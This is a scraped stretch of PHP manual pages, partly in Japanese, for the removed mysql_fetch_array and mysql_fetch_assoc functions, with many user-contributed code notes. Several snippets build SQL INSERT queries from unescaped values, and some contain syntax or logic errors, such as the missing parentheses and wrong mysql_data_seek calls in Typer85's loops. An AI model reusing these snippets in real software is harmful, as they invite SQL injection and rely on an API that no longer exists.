while($r[]=mysql_fetch_array($sql));

echo "<pre>";
//= Prints $r as array =================//
print_r ($r);
//=============================//
echo "</pre>";
?>
final at skilled dot ch 26-Jul-2011 03:50
I ran into troubles with MySQL NULL values when I generated dynamic queries and then had to figure out whether my resultset contained a specific field.

First instict was to use isset() and is_null(), but these function will not behave as you probably expect.

I ended up using array_key_exists, as it was the only function that could tell me whether the key actually existed or not.

<?php
$row = mysql_fetch_assoc(mysql_query("SELECT null as a"));
var_dump($row); //array(1) {  ["a"]=>  NULL }
var_dump(isset($row['a'])); //false
var_dump(isset($row['b'])); //false
var_dump(is_null($row['a'])); //true
var_dump(is_null($row['b'])); //true + throws undefined index notice
var_dump(array_key_exists('a', $row)); // true
var_dump(array_key_exists('b', $row)); // false
?>
Amine O 21-Jan-2011 07:49
If you use implode() with the return value by mysql_fetch_array, if you use MYSQL_BOTH on parameter 2, the result is not really what you're expecting.
For example :
my sql database contains "Amine, Sarah, Mohamed";

$array = mysql_fetch_array($resource,MYSQL_BOTH);
or $array = mysql_fetch_array($resource);
echo implode(" - ", $array);

the result is : Amine-Amine-Sarah-Sarah-Mohamed-Mohamed
and we expect just : Amine-Sarah-Mohamed

You must use MYSQL_NUM or MYSQL_ASSOC on parameter 2 to resolve the problem.
buddy at databoysoftware dot com 03-Aug-2009 10:24
In the note entered by Typer85, concerning the use of mysql_data_seek(), it should be noted that there are two parameters, both of which are required.

If you have already iterated through a result array (for instance, using mysql_fetch_array()), and have a need to start from the top, the proper syntax is:

mysql_data_seek({result set},{record#})

EG:
mysql_data_seek($result,0)
("0" represents the first record in the array.)

This will reset your result to the top of the array so that you can then re-process with
while($row = mysql_fetch_array($result)) or other array processing.
Tristan 27-Jul-2009 05:42
Here's a quicker way to clone a record.  Only 3 lines of code instead of 4.  But the table must have an auto-incremented id.
I took the code from Tim and altered it. Props to Tim.

<?php
// copy content of the record you wish to clone
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table_name WHERE id='$id_to_be cloned'"), MYSQL_ASSOC) or die("Could not select original record");

// set the auto-incremented id's value to blank. If you forget this step, nothing will work because we can't have two records with the same id
$entity["id"] = "";

// insert cloned copy of the original  record
mysql_query("INSERT INTO table_name (".implode(", ",array_keys($entity)).") VALUES ('".implode("', '",array_values($entity))."')");

// if you want the auto-generated id of the new cloned record, do the following
$newid = mysql_insert_id();
?>

There you go.
mehdi dot haresi at gmail dot com 20-Jul-2009 12:44
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
info at o08 dot com 06-Dec-2008 06:33
As opposite of mysql_fetch_array:

<?php
function mysql_insert_array ($my_table, $my_array) {
    $keys = array_keys($my_array);
    $values = array_values($my_array);
    $sql = 'INSERT INTO ' . $my_table . '(' . implode(',', $keys) . ') VALUES ("' . implode('","', $values) . '")';
    return(mysql_query($sql));
}
#http://www.weberdev.com/get_example-4493.html
?>
KingIsulgard 24-Nov-2008 05:49
I have found a way to put all results from the select query in an array in one line.

// Read records
$result = mysql_query("SELECT * FROM table;") or die(mysql_error());

// Put them in array
for($i = 0; $array[$i] = mysql_fetch_assoc($result); $i++) ;

// Delete last empty one
array_pop($array);

You need to delete the last one because this will always be empty.

By this you can easily read the entire table to an array and preserve the keys of the table columns. Very handy.
noagbodjivictor at gmail dot com 09-Nov-2007 08:53
Little improvement to the previous function.

function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got = array();

  if(mysql_num_rows($result) == 0)
    return $got;

  mysql_data_seek($result, 0);

  while ($row = mysql_fetch_array($result, $numass)) {
    array_push($got, $row);
  }

  return $got;
}
Typer85 at gmail dot com 30-Nov-2006 05:22
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
john at skem9 dot com 21-Jan-2006 04:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
    if($cols == 0){
        echo "<tr>\n";
    }
    // put what you would like to display within each cell here
    echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
    $cols++;
    if($cols == $display){
        echo "</tr>\n";
        $cols = 0;
    }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
    $neededtds = $display - $cols;
    for($i=0;$i<$neededtds;$i++){
        echo "<td></td>\n";
    }
     echo "</tr></table>";
    } else {
    echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
tim at wiltshirewebs dot com 14-Nov-2005 05:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com 03-Nov-2005 10:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*   if($err=mysql_errno($link))return $err;
* else
*   if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de 01-Oct-2005 03:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com 05-Sep-2005 03:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
romans at servidor dot unam dot mx 12-May-2005 10:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
    var $results, $map;

    function mysql_resultset($results)
    {
      $this->results = $results;
      $this->map = array();

      $index = 0;
      while ($column = mysql_fetch_field($results))
      {
        $this->map[$index++] = array($column->table, $column->name);
      }
    }

    function fetch()
    {
      if ($row = mysql_fetch_row($this->results))
      {
        $drow = array();

        foreach ($row as $index => $field)
        {
          list($table, $column) = $this->map[$index];
          $drow[$table][$column] = $row[$index];
        }

        return $drow;
      }
      else
        return false;
    }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
    "select orders.*, clients.*, productos.* ".
    "from orders, clients, products ".
    "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
    echo 'No.: '.$drow['orders']['number'].'<br>';
    echo 'Client: '.$drow['clients']['name'].'<br>';
    echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru 23-Jan-2005 11:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com 18-Apr-2004 07:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben 06-Apr-2004 11:59
One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    foreach ($line as $col_value) {
        echo $col_value . '<br />';
    }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
hanskrentel at yahoo dot de 08-Jan-2003 01:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
    $ret=array();

    $num = mysql_num_fields($result);
    if ($num==0) return $ret;

    $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

    $i=0;
     while($i<$num)
        {
            $fname[$i] = mysql_field_name($result,$i);
            $ret[$i] = $fval[$i];            // enum
            $ret[''.$fname[$i].''] = $fval[$i];    // assoc
            $i++;
        }

    return $ret;
}
juancri at tagnet dot org 12-Nov-2002 01:41
An example with mysql_fetch_array():

    $result = mysql_query("SELECT name FROM table WHERE id=8");
    $array = mysql_fetch_array($result);

$array will be:

    array ([0] => "John", ['name'] => "John")

Then you can access to the results:

    echo "The name is " . $array[0];
    // or
    echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com 10-Nov-2002 04:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com 09-Oct-2002 02:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi 25-Sep-2002 02:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com 14-Jun-2002 03:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it 31-May-2002 06:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
    $i = 0;
    foreach($record as $element)
        $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu 12-Mar-2002 07:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
some at gamepoint dot net 10-Jan-2002 11:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.


連想配列として結果の行を取得する

  • ≪ mysql_fetch_array
  • mysql_fetch_field ≫
  • PHP Manual
  • MySQL 関数
  • 連想配列として結果の行を取得する

mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc — 連想配列として結果の行を取得する

警告

この拡張モジュールは PHP 5.5.0 で非推奨になり、PHP 7.0.0 で削除されました。 MySQLi あるいは PDO_MySQL を使うべきです。詳細な情報は MySQL: API の選択 や それに関連する FAQ を参照ください。 この関数の代替として、これらが使えます。

  • mysqli_fetch_assoc()
  • PDOStatement::fetch(PDO::FETCH_ASSOC)

説明

mysql_fetch_assoc ( resource $result ) : array

取得した行に対応する連想配列を返し、内部のデータポインタを前に進めます。 mysql_fetch_assoc() は、 mysql_fetch_array() の 2 番目のパラメータを MYSQL_ASSOC に指定してコールするのと同じ働きをします。つまり、 連想配列のみを返します。

パラメータ

result

評価された結果 リソース。 この結果は、mysql_query() のコールにより得られたものです。

返り値

取得した行に対応する文字列の連想配列を返します。行がもうない場合には false を返します。

結果の複数のカラムが同じフィールド名を有している場合、最後のカラ ムが優先されます。同じ名前を有する他のカラムにアクセスするには、 mysql_fetch_row()を使用して数値添字を返すか、 エイリアス名を追加する必要があります。エイリアスの説明については、 mysql_fetch_array()の例を参照ください。

例

例1 mysql_fetch_assoc() のいろいろな例

<?php

$conn = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!$conn) {
    echo "Unable to connect to DB: " . mysql_error();
    exit;
}

if (!mysql_select_db("mydbname")) {
    echo "Unable to select mydbname: " . mysql_error();
    exit;
}

$sql = "SELECT id as userid, fullname, userstatus
        FROM   sometable
        WHERE  userstatus = 1";

$result = mysql_query($sql);

if (!$result) {
    echo "Could not successfully run query ($sql) from DB: " . mysql_error();
    exit;
}

if (mysql_num_rows($result) == 0) {
    echo "No rows found, nothing to print so am exiting";
    exit;
}

// データ行が存在する間、それを $row に連想配列形式でセットする
// 注: 結果が 1 行であることがわかっているのなら、ループを利用しなくてもよい
// 注: ループ内で extract($row); を実行すれば、
//     $userid, $fullname, そして $userstatus を利用できる
while ($row = mysql_fetch_assoc($result)) {
    echo $row["userid"];
    echo $row["fullname"];
    echo $row["userstatus"];
}

mysql_free_result($result);

?>

注意

注意: パフォーマンス

特筆すべき点として、mysql_fetch_assoc() が 著しい付加価値があるにもかかわらず、 mysql_fetch_row()より それほど遅くはないということが言えます。

注意: この関数により返されるフィー ルド名は 大文字小文字を区別 します。

注意: この関数は、 NULL フィールドに PHPの null 値を設定します。

参考

  • mysql_fetch_row() - 結果を添字配列として取得する
  • mysql_fetch_array() - 連想配列、添字配列、またはその両方として結果の行を取得する
  • mysql_data_seek() - 内部的な結果ポインタを移動する
  • mysql_query() - MySQL クエリを送信する
  • mysql_error() - 直近に実行された MySQL 操作のエラーメッセージを返す

User Contributed Notes

bkfake-php at yahoo dot com 24-Jan-2014 08:53
Although deprecated as of PHP 5.5, the mySQL function do NOT trigger an E_DEPRECATED error
george at georgefisher dot com 21-Apr-2009 07:51
Thanks to to R. Bradley for the implode idea. The following fixes a few bugs and includes quote_smart functionality (and has been tested)

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

   //
   // Insert values into a MySQL database
   // Includes quote_smart code to foil SQL Injection
   //
   // A call to this function of:
   //
   //  $val1 = "foobar";
   //  $val2 = 495;
   //  mysql_insert_assoc("tablename", array(col1=>$val1, col2=>$val2, col3=>"val3", col4=>720, col5=>834.987));
   //
   // Sends the following query:
   //  INSERT INTO 'tablename' (col1, col2, col3, col4, col5) values ('foobar', 495, 'val3', 720, 834.987)
   //

       global $db_link;

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array $my_array
       $values = array_values($my_array);

       // quote_smart the values
       $values_number = count($values);
       for ($i = 0; $i < $values_number; $i++)
         {
         $value = $values[$i];
         if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
         if (!is_numeric($value))    { $value = "'" . mysql_real_escape_string($value, $db_link) . "'"; }
         $values[$i] = $value;
         }

       // Compose the query
       $sql = "INSERT INTO $my_table ";

       // create comma-separated string of column names, enclosed in parentheses
       $sql .= "(" . implode(", ", $columns) . ")";
       $sql .= " values ";

       // create comma-separated string of values, enclosed in parentheses
       $sql .= "(" . implode(", ", $values) . ")";

       $result = @mysql_query ($sql) OR die ("<br />\n<span style=\"color:red\">Query: $sql UNsuccessful :</span> " . mysql_error() . "\n<br />");

       return ($result) ? true : false;
   }
?>
Daniel Chcouri - 333222 +A-T+ gmail 02-Apr-2009 03:45
Fetching all the results to array with one liner:

<?php
$result = mysql_query(...);
while(($resultArray[] = mysql_fetch_assoc($result)) || array_pop($resultArray));
?>
josh at joshstrike dot com 27-Dec-2008 03:40
Here's a nifty function to copy a whole table to another table. Takes as its arguments
$z -> the result of a SQL query with columns matching the table you're copying into.
$toTable -> string name of the table to copy into.
$link_identifier -> the db resource of the table you're copying into.
If anyone can find a faster way to do this, I'd be glad to know about it...

<?php
function mysql_multirow_copy($z,$toTable,$link_identifier) {
    $fields = "";
    for ($i=0;$i<mysql_num_fields($z);$i++) {
        if ($i>0) {
            $fields .= ",";
        }
        $fields .= mysql_field_name($z,$i);
    }
    $q = "INSERT INTO $toTable ($fields) VALUES";
    $c = 0;
    mysql_data_seek($z,0); //critical reset in case $z has been parsed beforehand. !
    while ($a = mysql_fetch_assoc($z)) {
        foreach ($a as $as) {
            $a[key($a)] = addslashes($as);
            next ($a);
        }
        if ($c>0) {
            $q .= ",";
        }
        $q .= "('".implode(array_values($a),"','")."')";
        $c++;
    }
    $q .= ";";
    $z = mysql_query($q,$link_identifier);
    return ($q);
}
?>
nick at homefeedback dot com 21-Mar-2007 04:50
function array2table: small fix to the post below that handles data returned from mysql that is either null or 0...

This is a useful script for displaying MySQL results in an HTML table.

<?

function array2table($arr,$width)
   {
   $count = count($arr);
   if($count > 0){
       reset($arr);
       $num = count(current($arr));
       echo "<table align=\"center\" border=\"1\"cellpadding=\"5\" cellspacing=\"0\" width=\"$width\">\n";
       echo "<tr>\n";
       foreach(current($arr) as $key => $value){
           echo "<th>";
           echo $key."&nbsp;";
           echo "</th>\n";
           }
       echo "</tr>\n";
       while ($curr_row = current($arr)) {
           echo "<tr>\n";
           $col = 1;
           while (false !== ($curr_field = current($curr_row))) {
               echo "<td>";
               echo $curr_field."&nbsp;";
               echo "</td>\n";
               next($curr_row);
               $col++;
               }
           while($col <= $num){
               echo "<td>&nbsp;</td>\n";
               $col++;
           }
           echo "</tr>\n";
           next($arr);
           }
       echo "</table>\n";
       }
   }

?>

<?

// Add DB connection script here

$query = "SELECT * FROM mytable";
$result = mysql_query($query);
while($row = mysql_fetch_assoc($result)){
  $array[] = $row; }

array2table($array,600); // Will output a table of 600px width

?>
Typer85 at gmail dot com 30-Nov-2006 05:21
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
R. Bradley 14-Sep-2006 08:34
In response to Sergiu's function - implode() would make things a lot easier ... as below:

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array
       $values = array_values($my_array);

       // We compose the query
       $sql = "insert into `$my_table` ";
       // implode the column names, inserting "\", \"" between each (but not after the last one)
       // we add the enclosing quotes at the same time
       $sql .= "(\"" . implode("\", \"", $column_names) . "\")";
       $sql .= " values ";
       // Same with the values
       $sql .= "(" . implode(", ", $values) . ")";

       $result = mysql_query($sql);

       if ($result)
       {
           echo "The row was added sucessfully";
           return true;
       }
       else
       {
           echo ("The row was not added<br>The error was" . mysql_error());
           return false;
       }
   }
?>

Thus, a call to this function of:
mysql_insert_assoc("tablename", array("col1"=>"val1", "col2"=>"val2"));

Sends the following sql query to mysql:
INSERT INTO `tablename` ("col1", "col2") VALUES ("val1", "val2")
chasfileDELETE_ALL_CAPS at gmail dot com 23-Feb-2006 11:26
What if you *want* a two dimensional array?  Useful for output as an HTML table, for instance.

function mysql_resultTo2DAssocArray ( $result) {
    $i=0;
    $ret = array();
    while ($row = mysql_fetch_assoc($result)) {
        foreach ($row as $key => $value) {
            $ret[$i][$key] = $value;
            }
        $i++;
        }
    return ($ret);
    }

print_r(mysql_resultTo2DAssocArray(mysql_query("SELECT * FROM something")));

Array ( [0] => Array ( [symbol] => ARNA
          [datetime] => 2006-02-17 16:00:00
          [price] => 16.83 )
     [1] => Array ( [symbol] => CALP
          [datetime] => 2006-02-17 16:00:00
          [price] => 6.54 )
     [2] => Array ( [symbol] => CROX
          [datetime] => 2006-02-17 16:00:00
          [price] => 27.4 ))
jono 01-Feb-2006 09:22
Note that the field names quoted within $row[] are case sensitive whereas many sql commands are case insensitive.
benlanc at ster dot me dot uk 23-Aug-2005 04:25
It probably without saying, but using list() in conjunction with mysql_fetch_assoc() does not work - use mysql_fetch_row() instead.

<?php
$sql = "SELECT `id`,`field`,`value` FROM `table`";
$result = mysql_query($sql);

// this results in empty values for rowID,fieldName,myValue
list($rowID,$fieldName,$myValue) = mysql_fetch_assoc($result);

// this is what you want:
list($rowID,$fieldName,$myValue) = mysql_fetch_row($result);
?>
jo at durchholz dot org 21-Jun-2005 01:58
To sum up moverton at northshropshiredc dot gov dot uk and Olivier Fabre:

If the query is "SELECT something1, something2, .... FROM tbl WHERE some_condition", the keys in the returned array will be 'something1', 'something2', etc. *even for those "somethings" that are not just field names*.

Examples of non-fieldname "somethings" are:
NULL
NOW
MAX(some_fieldname)

I haven't tested whether this applies to table.fieldname, but I see no reason why it shouldn't (I'd suspect a typo in my code if I didn't get the expected results; I certainly have had my share of them!)

I found it most convenient to check for typos by simply var_dumping the resulting row, like this:

<?php
echo '<pre>Got this row:'
var_dump ($row);
echo '</pre>';
?>

where $row is the result from the last call to mysql_fetch_assoc.
erik[at]phpcastle.com 14-May-2005 12:50
When you have to loop multiple times through the result of a query you can set the result pointer to 0 (zero) with mysql_data_seek ()

The advantage is that you do not have to query database twice with te same query :)

So:
<?php
  $query = "
    SELECT *
    FROM database
  ";

  //Query database
  $result = mysql_query ($query);

  //Iterate result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }

  ...

  //Point to 0 (zero)
  mysql_data_seek ($result, 0);

  //Re-use the result
  while ($record = mysql_fetch_assoc ($result)){
    print_r ($record);
  }
?>
joe at kybert dot com 29-Sep-2004 01:07
Worth pointing out that the internal row pointer is incremented once the data is collected for the current row.

This means that multiple calls will iterate through the row data, so you DONT need to mysql_data_seek(..) between calls.

This is noted in the  mysql_fetch_row() docs, but not here!?
moverton at northshropshiredc dot gov dot uk 17-Sep-2004 05:27
Actually, Olivier, you're completely wrong about that, because there's a bug in your sample code. It will indeed return $row['MAX(time)'] - you have to pass the MySQL resource to mysql_fetch_assoc() and you're not doing that. This:

$row = mysql_fetch_assoc($conn)

...where $conn is your DB connection, would in fact produce a result. The complete example below is taken from my own self-written content management system:

$query = 'SELECT MAX(ctRevDate) FROM content group by ctPage';
$querySet = mysql_query($query, $conn);
$row = mysql_fetch_assoc($querySet);
print_r($row);

This produces:

Array
(
    [MAX(ctRevDate)] => 2004-01-15
)

..on my testbed. So it doesn't in fact need an alias at all.
marREtijn dot posthMOuma at hoVEme dot nl 04-Sep-2003 04:57
It appears that you can't have table.field names in the resulting array.
Just use an alias if your results come up empty and you are using multi-table query's:

$res=mysql_query("SELECT user.ID AS uID, order.ID AS oID FROM user, order WHERE ( order.userid=uID )";
while ($row=mysql_fetch_assoc($res)) {
   echo "<p>userid: $row['uID'], orderid: $row['oID']</p>";
}


結果からカラム情報を取得し、オブジェクトとして返す

  • ≪ mysql_fetch_assoc
  • mysql_fetch_lengths ≫
  • PHP Manual
  • MySQL 関数
  • 結果からカラム情報を取得し、オブジェクトとして返す

mysql_fetch_field

(PHP 4, PHP 5)

mysql_fetch_field — 結果からカラム情報を取得し、オブジェクトとして返す

警告

